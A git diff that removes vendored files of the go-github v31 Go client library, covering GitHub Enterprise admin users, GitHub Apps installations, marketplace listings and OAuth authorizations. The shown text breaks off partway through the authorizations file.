b/vendor/github.com/google/go-github/v31/github/admin_users.go deleted file mode 100644 index d756a77e20..0000000000 --- a/vendor/github.com/google/go-github/v31/github/admin_users.go +++ /dev/null @@ -1,133 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// createUserRequest is a subset of User and is used internally -// by CreateUser to pass only the known fields for the endpoint. -type createUserRequest struct { - Login *string `json:"login,omitempty"` - Email *string `json:"email,omitempty"` -} - -// CreateUser creates a new user in GitHub Enterprise. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#create-a-new-user -func (s *AdminService) CreateUser(ctx context.Context, login, email string) (*User, *Response, error) { - u := "admin/users" - - userReq := &createUserRequest{ - Login: &login, - Email: &email, - } - - req, err := s.client.NewRequest("POST", u, userReq) - if err != nil { - return nil, nil, err - } - - var user User - resp, err := s.client.Do(ctx, req, &user) - if err != nil { - return nil, resp, err - } - - return &user, resp, nil -} - -// DeleteUser deletes a user in GitHub Enterprise. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#delete-a-user -func (s *AdminService) DeleteUser(ctx context.Context, username string) (*Response, error) { - u := "admin/users/" + username - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - if err != nil { - return resp, err - } - - return resp, nil -} - -// ImpersonateUserOptions represents the scoping for the OAuth token. -type ImpersonateUserOptions struct { - Scopes []string `json:"scopes,omitempty"` -} - -// OAuthAPP represents the GitHub Site Administrator OAuth app. -type OAuthAPP struct { - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - ClientID *string `json:"client_id,omitempty"` -} - -func (s OAuthAPP) String() string { - return Stringify(s) -} - -// UserAuthorization represents the impersonation response. -type UserAuthorization struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Scopes []string `json:"scopes,omitempty"` - Token *string `json:"token,omitempty"` - TokenLastEight *string `json:"token_last_eight,omitempty"` - HashedToken *string `json:"hashed_token,omitempty"` - App *OAuthAPP `json:"app,omitempty"` - Note *string `json:"note,omitempty"` - NoteURL *string `json:"note_url,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - Fingerprint *string `json:"fingerprint,omitempty"` -} - -// CreateUserImpersonation creates an impersonation OAuth token. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#create-an-impersonation-oauth-token -func (s *AdminService) CreateUserImpersonation(ctx context.Context, username string, opts *ImpersonateUserOptions) (*UserAuthorization, *Response, error) { - u := fmt.Sprintf("admin/users/%s/authorizations", username) - - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - a := new(UserAuthorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, nil -} - -// DeleteUserImpersonation deletes an impersonation OAuth token. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#delete-an-impersonation-oauth-token -func (s *AdminService) DeleteUserImpersonation(ctx context.Context, username string) (*Response, error) { - u := fmt.Sprintf("admin/users/%s/authorizations", username) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - if err != nil { - return resp, err - } - - return resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/apps.go b/vendor/github.com/google/go-github/v31/github/apps.go deleted file mode 100644 index c0e8c9a0bf..0000000000 --- a/vendor/github.com/google/go-github/v31/github/apps.go +++ /dev/null @@ -1,304 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// AppsService provides access to the installation related functions -// in the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/apps/ -type AppsService service - -// App represents a GitHub App. -type App struct { - ID *int64 `json:"id,omitempty"` - Slug *string `json:"slug,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Owner *User `json:"owner,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - ExternalURL *string `json:"external_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - Permissions *InstallationPermissions `json:"permissions,omitempty"` - Events []string `json:"events,omitempty"` -} - -// InstallationToken represents an installation token. -type InstallationToken struct { - Token *string `json:"token,omitempty"` - ExpiresAt *time.Time `json:"expires_at,omitempty"` - Permissions *InstallationPermissions `json:"permissions,omitempty"` - Repositories []*Repository `json:"repositories,omitempty"` -} - -// InstallationTokenOptions allow restricting a token's access to specific repositories. -type InstallationTokenOptions struct { - // The IDs of the repositories that the installation token can access. - // Providing repository IDs restricts the access of an installation token to specific repositories. - RepositoryIDs []int64 `json:"repository_ids,omitempty"` - - // The permissions granted to the access token. - // The permissions object includes the permission names and their access type. - Permissions *InstallationPermissions `json:"permissions,omitempty"` -} - -// InstallationPermissions lists the repository and organization permissions for an installation. -// -// Permission names taken from: -// https://developer.github.com/v3/apps/permissions/ -// https://developer.github.com/enterprise/v3/apps/permissions/ -type InstallationPermissions struct { - Administration *string `json:"administration,omitempty"` - Blocking *string `json:"blocking,omitempty"` - Checks *string `json:"checks,omitempty"` - Contents *string `json:"contents,omitempty"` - ContentReferences *string `json:"content_references,omitempty"` - Deployments *string `json:"deployments,omitempty"` - Emails *string `json:"emails,omitempty"` - Followers *string `json:"followers,omitempty"` - Issues *string `json:"issues,omitempty"` - Metadata *string `json:"metadata,omitempty"` - Members *string `json:"members,omitempty"` - OrganizationAdministration *string `json:"organization_administration,omitempty"` - OrganizationHooks *string `json:"organization_hooks,omitempty"` - OrganizationPlan *string `json:"organization_plan,omitempty"` - OrganizationPreReceiveHooks *string `json:"organization_pre_receive_hooks,omitempty"` - OrganizationProjects *string `json:"organization_projects,omitempty"` - OrganizationUserBlocking *string `json:"organization_user_blocking,omitempty"` - Packages *string `json:"packages,omitempty"` - Pages *string `json:"pages,omitempty"` - PullRequests *string `json:"pull_requests,omitempty"` - RepositoryHooks *string `json:"repository_hooks,omitempty"` - RepositoryProjects *string `json:"repository_projects,omitempty"` - RepositoryPreReceiveHooks *string `json:"repository_pre_receive_hooks,omitempty"` - SingleFile *string `json:"single_file,omitempty"` - Statuses *string `json:"statuses,omitempty"` - TeamDiscussions *string `json:"team_discussions,omitempty"` - VulnerabilityAlerts *string `json:"vulnerability_alerts,omitempty"` -} - -// Installation represents a GitHub Apps installation. -type Installation struct { - ID *int64 `json:"id,omitempty"` - AppID *int64 `json:"app_id,omitempty"` - TargetID *int64 `json:"target_id,omitempty"` - Account *User `json:"account,omitempty"` - AccessTokensURL *string `json:"access_tokens_url,omitempty"` - RepositoriesURL *string `json:"repositories_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - TargetType *string `json:"target_type,omitempty"` - SingleFileName *string `json:"single_file_name,omitempty"` - RepositorySelection *string `json:"repository_selection,omitempty"` - Events []string `json:"events,omitempty"` - Permissions *InstallationPermissions `json:"permissions,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` -} - -// Attachment represents a GitHub Apps attachment. -type Attachment struct { - ID *int64 `json:"id,omitempty"` - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` -} - -func (i Installation) String() string { - return Stringify(i) -} - -// Get a single GitHub App. Passing the empty string will get -// the authenticated GitHub App. -// -// Note: appSlug is just the URL-friendly name of your GitHub App. -// You can find this on the settings page for your GitHub App -// (e.g., https://github.com/settings/apps/:app_slug). -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-a-single-github-app -// GitHub API docs: https://developer.github.com/v3/apps/#get-the-authenticated-github-app -func (s *AppsService) Get(ctx context.Context, appSlug string) (*App, *Response, error) { - var u string - if appSlug != "" { - u = fmt.Sprintf("apps/%v", appSlug) - } else { - u = "app" - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - app := new(App) - resp, err := s.client.Do(ctx, req, app) - if err != nil { - return nil, resp, err - } - - return app, resp, nil -} - -// ListInstallations lists the installations that the current GitHub App has. -// -// GitHub API docs: https://developer.github.com/v3/apps/#list-installations -func (s *AppsService) ListInstallations(ctx context.Context, opts *ListOptions) ([]*Installation, *Response, error) { - u, err := addOptions("app/installations", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - var i []*Installation - resp, err := s.client.Do(ctx, req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, nil -} - -// GetInstallation returns the specified installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-an-installation -func (s *AppsService) GetInstallation(ctx context.Context, id int64) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("app/installations/%v", id)) -} - -// ListUserInstallations lists installations that are accessible to the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#list-installations-for-a-user -func (s *AppsService) ListUserInstallations(ctx context.Context, opts *ListOptions) ([]*Installation, *Response, error) { - u, err := addOptions("user/installations", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - var i struct { - Installations []*Installation `json:"installations"` - } - resp, err := s.client.Do(ctx, req, &i) - if err != nil { - return nil, resp, err - } - - return i.Installations, resp, nil -} - -// CreateInstallationToken creates a new installation token. -// -// GitHub API docs: https://developer.github.com/v3/apps/#create-a-new-installation-token -func (s *AppsService) CreateInstallationToken(ctx context.Context, id int64, opts *InstallationTokenOptions) (*InstallationToken, *Response, error) { - u := fmt.Sprintf("app/installations/%v/access_tokens", id) - - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - t := new(InstallationToken) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// CreateAttachment creates a new attachment on user comment containing a url. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#create-a-content-attachment -func (s *AppsService) CreateAttachment(ctx context.Context, contentReferenceID int64, title, body string) (*Attachment, *Response, error) { - u := fmt.Sprintf("content_references/%v/attachments", contentReferenceID) - payload := &Attachment{Title: String(title), Body: String(body)} - req, err := s.client.NewRequest("POST", u, payload) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Attachment{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// FindOrganizationInstallation finds the organization's installation information. -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-an-organization-installation -func (s *AppsService) FindOrganizationInstallation(ctx context.Context, org string) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("orgs/%v/installation", org)) -} - -// FindRepositoryInstallation finds the repository's installation information. -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-a-repository-installation -func (s *AppsService) FindRepositoryInstallation(ctx context.Context, owner, repo string) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("repos/%v/%v/installation", owner, repo)) -} - -// FindRepositoryInstallationByID finds the repository's installation information. -// -// Note: FindRepositoryInstallationByID uses the undocumented GitHub API endpoint /repositories/:id/installation. -func (s *AppsService) FindRepositoryInstallationByID(ctx context.Context, id int64) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("repositories/%d/installation", id)) -} - -// FindUserInstallation finds the user's installation information. -// -// GitHub API docs: https://developer.github.com/v3/apps/#get-a-user-installation -func (s *AppsService) FindUserInstallation(ctx context.Context, user string) (*Installation, *Response, error) { - return s.getInstallation(ctx, fmt.Sprintf("users/%v/installation", user)) -} - -func (s *AppsService) getInstallation(ctx context.Context, url string) (*Installation, *Response, error) { - req, err := s.client.NewRequest("GET", url, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - i := new(Installation) - resp, err := s.client.Do(ctx, req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/apps_installation.go b/vendor/github.com/google/go-github/v31/github/apps_installation.go deleted file mode 100644 index 2f7664cfba..0000000000 --- a/vendor/github.com/google/go-github/v31/github/apps_installation.go +++ /dev/null @@ -1,117 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListRepos lists the repositories that are accessible to the authenticated installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#list-repositories -func (s *AppsService) ListRepos(ctx context.Context, opts *ListOptions) ([]*Repository, *Response, error) { - u, err := addOptions("installation/repositories", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - var r struct { - Repositories []*Repository `json:"repositories"` - } - resp, err := s.client.Do(ctx, req, &r) - if err != nil { - return nil, resp, err - } - - return r.Repositories, resp, nil -} - -// ListUserRepos lists repositories that are accessible -// to the authenticated user for an installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#list-repositories-accessible-to-the-user-for-an-installation -func (s *AppsService) ListUserRepos(ctx context.Context, id int64, opts *ListOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("user/installations/%v/repositories", id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - var r struct { - Repositories []*Repository `json:"repositories"` - } - resp, err := s.client.Do(ctx, req, &r) - if err != nil { - return nil, resp, err - } - - return r.Repositories, resp, nil -} - -// AddRepository adds a single repository to an installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#add-repository-to-installation -func (s *AppsService) AddRepository(ctx context.Context, instID, repoID int64) (*Repository, *Response, error) { - u := fmt.Sprintf("user/installations/%v/repositories/%v", instID, repoID) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, nil, err - } - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// RemoveRepository removes a single repository from an installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#remove-repository-from-installation -func (s *AppsService) RemoveRepository(ctx context.Context, instID, repoID int64) (*Response, error) { - u := fmt.Sprintf("user/installations/%v/repositories/%v", instID, repoID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - return s.client.Do(ctx, req, nil) -} - -// RevokeInstallationToken revokes an installation token. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#revoke-an-installation-token -func (s *AppsService) RevokeInstallationToken(ctx context.Context) (*Response, error) { - u := "installation/token" - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - req.Header.Set("Accept", mediaTypeRevokeTokenPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/apps_manifest.go b/vendor/github.com/google/go-github/v31/github/apps_manifest.go deleted file mode 100644 index 9db76a3045..0000000000 --- a/vendor/github.com/google/go-github/v31/github/apps_manifest.go +++ /dev/null @@ -1,53 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -const ( - mediaTypeAppManifestPreview = "application/vnd.github.fury-preview+json" -) - -// AppConfig describes the configuration of a GitHub App. -type AppConfig struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Owner *User `json:"owner,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - ExternalURL *string `json:"external_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - ClientID *string `json:"client_id,omitempty"` - ClientSecret *string `json:"client_secret,omitempty"` - WebhookSecret *string `json:"webhook_secret,omitempty"` - PEM *string `json:"pem,omitempty"` -} - -// CompleteAppManifest completes the App manifest handshake flow for the given -// code. -// -// GitHub API docs: https://developer.github.com/v3/apps/#create-a-github-app-from-a-manifest -func (s *AppsService) CompleteAppManifest(ctx context.Context, code string) (*AppConfig, *Response, error) { - u := fmt.Sprintf("app-manifests/%s/conversions", code) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - req.Header.Set("Accept", mediaTypeAppManifestPreview) - - cfg := new(AppConfig) - resp, err := s.client.Do(ctx, req, cfg) - if err != nil { - return nil, resp, err - } - - return cfg, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/apps_marketplace.go b/vendor/github.com/google/go-github/v31/github/apps_marketplace.go deleted file mode 100644 index 9026633e7a..0000000000 --- a/vendor/github.com/google/go-github/v31/github/apps_marketplace.go +++ /dev/null @@ -1,185 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// MarketplaceService handles communication with the marketplace related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/ -type MarketplaceService struct { - client *Client - // Stubbed controls whether endpoints that return stubbed data are used - // instead of production endpoints. Stubbed data is fake data that's useful - // for testing your GitHub Apps. Stubbed data is hard-coded and will not - // change based on actual subscriptions. - // - // GitHub API docs: https://developer.github.com/v3/apps/marketplace/ - Stubbed bool -} - -// MarketplacePlan represents a GitHub Apps Marketplace Listing Plan. -type MarketplacePlan struct { - URL *string `json:"url,omitempty"` - AccountsURL *string `json:"accounts_url,omitempty"` - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - MonthlyPriceInCents *int `json:"monthly_price_in_cents,omitempty"` - YearlyPriceInCents *int `json:"yearly_price_in_cents,omitempty"` - // The pricing model for this listing. Can be one of "flat-rate", "per-unit", or "free". - PriceModel *string `json:"price_model,omitempty"` - UnitName *string `json:"unit_name,omitempty"` - Bullets *[]string `json:"bullets,omitempty"` - // State can be one of the values "draft" or "published". - State *string `json:"state,omitempty"` - HasFreeTrial *bool `json:"has_free_trial,omitempty"` -} - -// MarketplacePurchase represents a GitHub Apps Marketplace Purchase. -type MarketplacePurchase struct { - // BillingCycle can be one of the values "yearly", "monthly" or nil. - BillingCycle *string `json:"billing_cycle,omitempty"` - NextBillingDate *Timestamp `json:"next_billing_date,omitempty"` - UnitCount *int `json:"unit_count,omitempty"` - Plan *MarketplacePlan `json:"plan,omitempty"` - Account *MarketplacePlanAccount `json:"account,omitempty"` - OnFreeTrial *bool `json:"on_free_trial,omitempty"` - FreeTrialEndsOn *Timestamp `json:"free_trial_ends_on,omitempty"` -} - -// MarketplacePendingChange represents a pending change to a GitHub Apps Marketplace Plan. -type MarketplacePendingChange struct { - EffectiveDate *Timestamp `json:"effective_date,omitempty"` - UnitCount *int `json:"unit_count,omitempty"` - ID *int64 `json:"id,omitempty"` - Plan *MarketplacePlan `json:"plan,omitempty"` -} - -// MarketplacePlanAccount represents a GitHub Account (user or organization) on a specific plan. -type MarketplacePlanAccount struct { - URL *string `json:"url,omitempty"` - Type *string `json:"type,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Login *string `json:"login,omitempty"` - Email *string `json:"email,omitempty"` - OrganizationBillingEmail *string `json:"organization_billing_email,omitempty"` - MarketplacePurchase *MarketplacePurchase `json:"marketplace_purchase,omitempty"` - MarketplacePendingChange *MarketplacePendingChange `json:"marketplace_pending_change,omitempty"` -} - -// ListPlans lists all plans for your Marketplace listing. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#list-all-plans-for-your-marketplace-listing -func (s *MarketplaceService) ListPlans(ctx context.Context, opts *ListOptions) ([]*MarketplacePlan, *Response, error) { - uri := s.marketplaceURI("plans") - u, err := addOptions(uri, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var plans []*MarketplacePlan - resp, err := s.client.Do(ctx, req, &plans) - if err != nil { - return nil, resp, err - } - - return plans, resp, nil -} - -// ListPlanAccountsForPlan lists all GitHub accounts (user or organization) on a specific plan. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#list-all-github-accounts-user-or-organization-on-a-specific-plan -func (s *MarketplaceService) ListPlanAccountsForPlan(ctx context.Context, planID int64, opts *ListOptions) ([]*MarketplacePlanAccount, *Response, error) { - uri := s.marketplaceURI(fmt.Sprintf("plans/%v/accounts", planID)) - u, err := addOptions(uri, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var accounts []*MarketplacePlanAccount - resp, err := s.client.Do(ctx, req, &accounts) - if err != nil { - return nil, resp, err - } - - return accounts, resp, nil -} - -// ListPlanAccountsForAccount lists all GitHub accounts (user or organization) associated with an account. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#check-if-a-github-account-is-associated-with-any-marketplace-listing -func (s *MarketplaceService) ListPlanAccountsForAccount(ctx context.Context, accountID int64, opts *ListOptions) ([]*MarketplacePlanAccount, *Response, error) { - uri := s.marketplaceURI(fmt.Sprintf("accounts/%v", accountID)) - u, err := addOptions(uri, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var accounts []*MarketplacePlanAccount - resp, err := s.client.Do(ctx, req, &accounts) - if err != nil { - return nil, resp, err - } - - return accounts, resp, nil -} - -// ListMarketplacePurchasesForUser lists all GitHub marketplace purchases made by a user. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#list-subscriptions-for-the-authenticated-user -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#list-subscriptions-for-the-authenticated-user-stubbed -func (s *MarketplaceService) ListMarketplacePurchasesForUser(ctx context.Context, opts *ListOptions) ([]*MarketplacePurchase, *Response, error) { - uri := "user/marketplace_purchases" - if s.Stubbed { - uri = "user/marketplace_purchases/stubbed" - } - - u, err := addOptions(uri, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var purchases []*MarketplacePurchase - resp, err := s.client.Do(ctx, req, &purchases) - if err != nil { - return nil, resp, err - } - return purchases, resp, nil -} - -func (s *MarketplaceService) marketplaceURI(endpoint string) string { - url := "marketplace_listing" - if s.Stubbed { - url = "marketplace_listing/stubbed" - } - return url + "/" + endpoint -} diff --git a/vendor/github.com/google/go-github/v31/github/authorizations.go b/vendor/github.com/google/go-github/v31/github/authorizations.go deleted file mode 100644 index 7447e2fbf7..0000000000 --- a/vendor/github.com/google/go-github/v31/github/authorizations.go +++ /dev/null @@ -1,280 +0,0 @@ -// Copyright 2015 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Scope models a GitHub authorization scope. -// -// GitHub API docs: https://developer.github.com/v3/oauth/#scopes -type Scope string - -// This is the set of scopes for GitHub API V3 -const ( - ScopeNone Scope = "(no scope)" // REVISIT: is this actually returned, or just a documentation artifact? - ScopeUser Scope = "user" - ScopeUserEmail Scope = "user:email" - ScopeUserFollow Scope = "user:follow" - ScopePublicRepo Scope = "public_repo" - ScopeRepo Scope = "repo" - ScopeRepoDeployment Scope = "repo_deployment" - ScopeRepoStatus Scope = "repo:status" - ScopeDeleteRepo Scope = "delete_repo" - ScopeNotifications Scope = "notifications" - ScopeGist Scope = "gist" - ScopeReadRepoHook Scope = "read:repo_hook" - ScopeWriteRepoHook Scope = "write:repo_hook" - ScopeAdminRepoHook Scope = "admin:repo_hook" - ScopeAdminOrgHook Scope = "admin:org_hook" - ScopeReadOrg Scope = "read:org" - ScopeWriteOrg Scope = "write:org" - ScopeAdminOrg Scope = "admin:org" - ScopeReadPublicKey Scope = "read:public_key" - ScopeWritePublicKey Scope = "write:public_key" - ScopeAdminPublicKey Scope = "admin:public_key" - ScopeReadGPGKey Scope = "read:gpg_key" - ScopeWriteGPGKey Scope = "write:gpg_key" - ScopeAdminGPGKey Scope = "admin:gpg_key" -) - -// AuthorizationsService handles communication with the authorization related -// methods of the GitHub API. -// -// This service requires HTTP Basic Authentication; it cannot be accessed using -// an OAuth token. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/ -type AuthorizationsService service - -// Authorization represents an individual GitHub authorization. -type Authorization struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Scopes []Scope `json:"scopes,omitempty"` - Token *string `json:"token,omitempty"` - TokenLastEight *string `json:"token_last_eight,omitempty"` - HashedToken *string `json:"hashed_token,omitempty"` - App *AuthorizationApp `json:"app,omitempty"` - Note *string `json:"note,omitempty"` - NoteURL *string `json:"note_url,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - Fingerprint *string `json:"fingerprint,omitempty"` - - // User is only populated by the Check and Reset methods. - User *User `json:"user,omitempty"` -} - -func (a Authorization) String() string { - return Stringify(a) -} - -// AuthorizationApp represents an individual GitHub app (in the context of authorization). -type AuthorizationApp struct { - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - ClientID *string `json:"client_id,omitempty"` -} - -func (a AuthorizationApp) String() string { - return Stringify(a) -} - -// Grant represents an OAuth application that has been granted access to an account. -type Grant struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - App *AuthorizationApp `json:"app,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - Scopes []string `json:"scopes,omitempty"` -} - -func (g Grant) String() string { - return Stringify(g) -} - -// AuthorizationRequest represents a request to create an authorization. -type AuthorizationRequest struct { - Scopes []Scope `json:"scopes,omitempty"` - Note *string `json:"note,omitempty"` - NoteURL *string `json:"note_url,omitempty"` - ClientID *string `json:"client_id,omitempty"` - ClientSecret *string `json:"client_secret,omitempty"` - Fingerprint *string `json:"fingerprint,omitempty"` -} - -func (a AuthorizationRequest) String() string { - return Stringify(a) -} - -// AuthorizationUpdateRequest represents a request to update an authorization. -// -// Note that for any one update, you must only provide one of the "scopes" -// fields. That is, you may provide only one of "Scopes", or "AddScopes", or -// "RemoveScopes". -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#update-an-existing-authorization -type AuthorizationUpdateRequest struct { - Scopes []string `json:"scopes,omitempty"` - AddScopes []string `json:"add_scopes,omitempty"` - RemoveScopes []string `json:"remove_scopes,omitempty"` - Note *string `json:"note,omitempty"` - NoteURL *string `json:"note_url,omitempty"` - Fingerprint *string `json:"fingerprint,omitempty"` -} - -func (a AuthorizationUpdateRequest) String() string { - return Stringify(a) -} - -// Check if an OAuth token is valid for a specific app. -// -// Note that this operation requires the use of BasicAuth, but where the -// username is the OAuth application clientID, and the password is its -// clientSecret. Invalid tokens will return a 404 Not Found. -// -// The returned Authorization.User field will be populated. -// -// GitHub API docs: https://developer.github.com/v3/apps/oauth_applications/#check-a-token -func (s *AuthorizationsService) Check(ctx context.Context, clientID, accessToken string) (*Authorization, *Response, error) { - u := fmt.Sprintf("applications/%v/token", clientID) - - reqBody := &struct { - AccessToken string `json:"access_token"` - }{AccessToken: accessToken} - - req, err := s.client.NewRequest("POST", u, reqBody) - if err != nil { - return nil, nil, err - } - req.Header.Set("Accept", mediaTypeOAuthAppPreview) - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, nil -} - -// Reset is used to reset a valid OAuth token without end user involvement. -// Applications must save the "token" property in the response, because changes -// take effect immediately. -// -// Note that this operation requires the use of BasicAuth, but where the -// username is the OAuth application clientID, and the password is its -// clientSecret. Invalid tokens will return a 404 Not Found. -// -// The returned Authorization.User field will be populated. -// -// GitHub API docs: https://developer.github.com/v3/apps/oauth_applications/#reset-a-token -func (s *AuthorizationsService) Reset(ctx context.Context, clientID, accessToken string) (*Authorization, *Response, error) { - u := fmt.Sprintf("applications/%v/token", clientID) - - reqBody := &struct { - AccessToken string `json:"access_token"` - }{AccessToken: accessToken} - - req, err := s.client.NewRequest("PATCH", u, reqBody) - if err != nil { - return nil, nil, err - } - req.Header.Set("Accept", mediaTypeOAuthAppPreview) - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != 